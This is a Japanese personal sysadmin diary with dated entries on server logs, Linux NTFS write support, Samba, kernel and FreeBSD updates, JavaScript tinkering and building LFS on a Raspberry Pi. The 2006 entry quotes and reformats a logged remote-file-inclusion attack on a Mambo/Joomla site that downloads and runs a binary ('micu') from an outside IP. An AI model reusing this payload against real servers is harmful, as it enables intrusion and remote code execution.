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屑俺日記

僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。


2005-01-12(Wed) 何しようか

これは、

一体何だ。何しに来やがったんだろう。こんな 投稿のためにぐぐっていたせいか?

SERVER 195.92.95.61 - - [12/Jan/2005:12:43:38 +0900] "GET \
  /cobalt-images/welcome2.gif HTTP/1.0" 404 472
$host 195.92.95.61 
61.95.92.195.in-addr.arpa domain name pointer ariston.netcraft.com.

と考えていたら、 似たような困惑もかなり。

段々と

使いづらいmixiに嵌って来た。


2006-01-12(Thu) 短く長く

合わせ技?

SERVER 61.19.121.46 - - [11/Jan/2006:21:06:24 +090\
0] "GET /index2.php?option=com_content&do_pdf=1&id\
=1index2.php?_REQUEST[option]=com_content&_REQUEST\
[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http:/\
/209.136.48.69/cmd.gif?&cmd=cd /tmp;wget 209.1\
36.48.69/micu;chmod 744 micu;./micu;echo YYY\
;echo|  HTTP\x01.1" 400 299

適当に改行などしてみる。

GET /index2.php?
option=com_content&do_pdf=1&id=1index2.php?
_REQUEST[option]=com_content&_REQUEST[Itemid]=1&
GLOBALS=&mosConfig_absolute_path=
http://209.136.48.69/cmd.gif?&
cmd=cd /tmp;
wget 209.136.48.69/micu;
chmod 744 micu;
./micu;
echo YYY;
echo|  HTTP\x01.1

2.6.15

デスクトップに入れてみた。
一応動いている事だけ確認。

なんと、NTFSのファイル編集が可能になっていた!
(新規作成は無理だったが、ファイルサイズの伸縮はOK)

$ grep NTFS /usr/src/linux/.config
CONFIG_NTFS_FS=m
CONFIG_NTFS_DEBUG=y
CONFIG_NTFS_RW=y

type ntfs (rw)

もう少しいらう。dd if=/dev/urandom of=/mnt/win/hoge.txt とか を何度かやってみる。

少し大きなデータだと書き込みが完了しなかったりする。
なんか100MBあたりを繰り返すと怪しくなってくるようだ。 なんでだろうなぁ。

My Documents# ls -l key.txt.txt 
-rw-------    2 root     root     209715200 Jan 12\
 17:29 hoge.txt
 
My Documents# dd if=/dev/urandom \
                 of=hoge.txt     \
                 bs=1MB count=200
dd: writing `hoge.txt': Operation not supported
71+0 records in
70+0 records ou
My Documents# ls -l key.txt.txt 
-rw-------    2 root     root      73400320 Jan 12\
17:31 hoge.txt
 
# tail  -n2 /var/log/syslog
Jan 12 17:31:55 cel2g kernel: NTFS-fs error (devic\
e hda1): ntfs_attr_extend_allocation(): Not enough\
 space in the mft record for the extended attribut\
e record. 
 This case is not implemented yet.
Jan 12 17:31:55 cel2g kernel: NTFS-fs error (devic\
e hda1): ntfs_file_buffered_write(): Cannot perfor\
m write to inode 0x4d3f, attribute type 0x80, beca\
use extending the allocation failed (error code -9\
5)

ついでに

ノートにも2.6.15を入れてしまった。ついでに接続相手の ない無線LANも。

しかし、休止状態だかスタンバイだかではリードオンリーに なるっぽい。

Jan 12 20:16:05 HOST kernel: NTFS-fs error (device\
 hda1): load_system_files(): $LogFile is not clean\
.  Mounting read-only.  Mount in Windows.
Jan 12 20:16:05 HOST kernel: NTFS-fs warning (devi\
ce hda1): load_system_files(): Windows is hibernat\
ed.  Will not be able to remount read-write.  Run \
chkdsk.

一旦WinXPを起動させ、普通に終了してからLinuxに 切り替えると、デスクトップ同様書き込めるようになった。
マウントオプションは -o nls=utf8 が良いようだ。

設定情報の混乱

tdiaryを起動したrubyが暴走してしまう っぽい。

rsyncでweb鯖からバックアップしていたが、ブラウザで作成していた 鯖側の$HOME/diary/tdiary.confがバックアップしたホストに吸われて rubyを混乱させた模様である(消すと直った)。
さしあたりrsyncの--exclodeにtdiary.confを追記しておく。

↑ちょっと書式が崩れてたので直す。それだけ。


2007-01-12(Fri) しらんがな

Google Webmasters tools続き

トップページからはたどれず、ググらないと↑は発見できなかった。

昨日について少し補足。
まずGoogleアカウントでログイン。
そしてGoogleに覗いてもらうURLの登録。

Googleに登録URLを覗いてもらうためには、サイトに ↓のどちらかの加工が必要になるらしい。
1.登録したURL(のindex.htmlとか)に、指示されたランダムな 記号の入ったMETAタグを入れる。
2.同じURLに、これまたランダムな記号の混じった ファイル(空っぽでよさげ)を作る(昨日は後者の方法を取った)。
URLが違っているとうまくできないらしい。レンタルサーバなどでは やりにくい場合も。

「確認」をクリックした時のアクセスログはこんなの。

64.233.172.35 - - [11/Jan/2007:17:55:28 +0900] \
  "GET /google98fc3f7913097109.html HTTP/1.1" \
  200 - "-" "Google-Sitemaps/1.0" 149 233
64.233.172.35 - - [11/Jan/2007:17:55:28 +0900] \
  "GET /noexist_98fc3f7913097109.html HTTP/1.1" \
  404 227 "-" "Google-Sitemaps/1.0" 151 372

Samba on KNOPPIX-5.1.1 英語版

日本語フォントが必要なアプリケーションが使えない だけだ。Windowsの日本語ファイル救出は可能である。

apt-cache で見たら、sambaはVersion: 3.0.23d-2+b1 だった。 ntfs-3g はVersion: 1:20070102-1 とあった。

sambastartすると、/etc/samba/smb.conf が書き換えられる 模様。特にcharsetあたりがiso8859とかになってしまう。
ので、一旦sambastartしてからsmb.confを書き換えて /etc/init.d/samba restartする。

よくわからないが、ntfs-3gには codepage=932もつけていた 方がいいらしい。そうしないと、文字化けが止まらなかった。
波型の問題は、 昨日と変わらない。

鯖カーネル入れ換え

2.6.17.11を入れてからuptimeが139日に及んでいたが、新鯖はiptablesの モジュールが一部抜けていたことに 気づく。
ついでにカーネル自体をアップデートすることにする。

2.6.18以降に上げる気にはなれなかったので、2.6.17.14。
ビルドには2時間半程かかっていた。

再起動後sshで入れて、wordpressは無事に見れたが、 tdiaryの先頭行(#!/usr/bin/env ruby)が解釈できなくなっていた。 `which ruby`の通りに書き換えて、この通り書き込めるように なって、安堵。

適当なスクリプトで試す。ちゃんと#!/usr/bin/env rubyは動いたのだけど。

apache少し

ほったらかしのErrorDocument( 400, 401, 403, 404, 500)ディレクティブを前の鯖同様にする。
DocumentRoot直下から記述する。


2008-01-12(Sat) タイトルぐらいかけよ

pdとGEM

一昨日のメールさえ見てなかったので、勧誘メール見たときはとっくに 始まっている時間だった。
連絡入れて一時間後に 「たかうち珈琲店」に飛び入り。今回は GEMというOpenGLライブラリをpdと組み合わせ、pdインタープリタで動的な三次元動画を 作るデモなどを見た。

あっという間に散会となり、流れ解散で夕食もなし。
不完全燃焼っぽい気分で帰宅。


2009-01-12(Mon) 晴れても冷たい風びゅうびゅう

6.2から6.4

放置気味のNTPサーバ兼DHCPサーバをアップデートした。
HDDが1.2GBしかないので、/usr/src, /usr/obj, /usr/ports は NFS している。

ざっと11時間くらいで FreeBSD 6.4-Release-p2 になった。

PocketRouter続く

LFS6.4でどうにか。
アソシエーションができなくなる時は、PCの方も潔くリブートした方がいいのかも。
昨日落ちたwpa_supplicant.conf で実行したが、こんどは落ちなかった。

Plamo-4.22 の方も、madwifi を SVN 版と変えて、同じ設定で動く ことを一応確認。

日付の串刺し表示

tDiaryでそんなことできるとは、知らなかった。
現在非表示にしているGoogleの足跡を見ているうちに気づく。

たとえば 元旦


2011-01-12(Wed) 夜明け前は雨だったらしく、晴れて地面しっとり

性懲りもなし

JavaScriptのデータ型は、意外と面白そうに見えた。

<html>
<script type="text/JavaScript">
var foo = { bar: { baz: 8}};
document.write(foo.bar.baz * 2 + "<br>");
</script>
</html>

Firefoxのエラーコンソールと睨めっこしながらの試行錯誤を 経て、出力が16になった。

真偽判定

を行うJavaScriptを書いてみた。
生憎、何も入力しない場合を除き、すべて 文字列と解釈する。つまり真しか返さない。

お次は配列

また下らないの。
値を入れる前後にアクセス してみる。"undefined"が返る。それだけ。


2015-01-12(Mon) ほぼ晴れ。外に出なかった

LFS on RasPIさらに続く

1/11はあまりできなかったが、1/12の今日、Chapter5を通過した。
やはり補助記憶装置の遅さがものをいう感じだった。

どのパッケージビルドにどれだけ時間がかかったかは適当に 保存してはおいた(gawkはmake checkがエラーで止まったので保存してない)。
大抵はSBUの目安より倍以上はかかっているように思えた(確認してない)

tools は保存しておいた。652MBあり、bzip2で25分かけて225MBの アーカイブになった。

chroot以降しばらく順調。
現在chapter6.9のglibc-2.20。

$ time { ../glibc-2.20/configure    \
    --prefix=/usr          \
    --disable-profile      \
    --enable-kernel=2.6.32 \
    --enable-obsolete-rpc &&
  make && make check ; }

16時くらいからmakeが始まり、 20時くらいからmake checkになったらしい。
夜明けまでに終わってくれるとありがたいのだけど。


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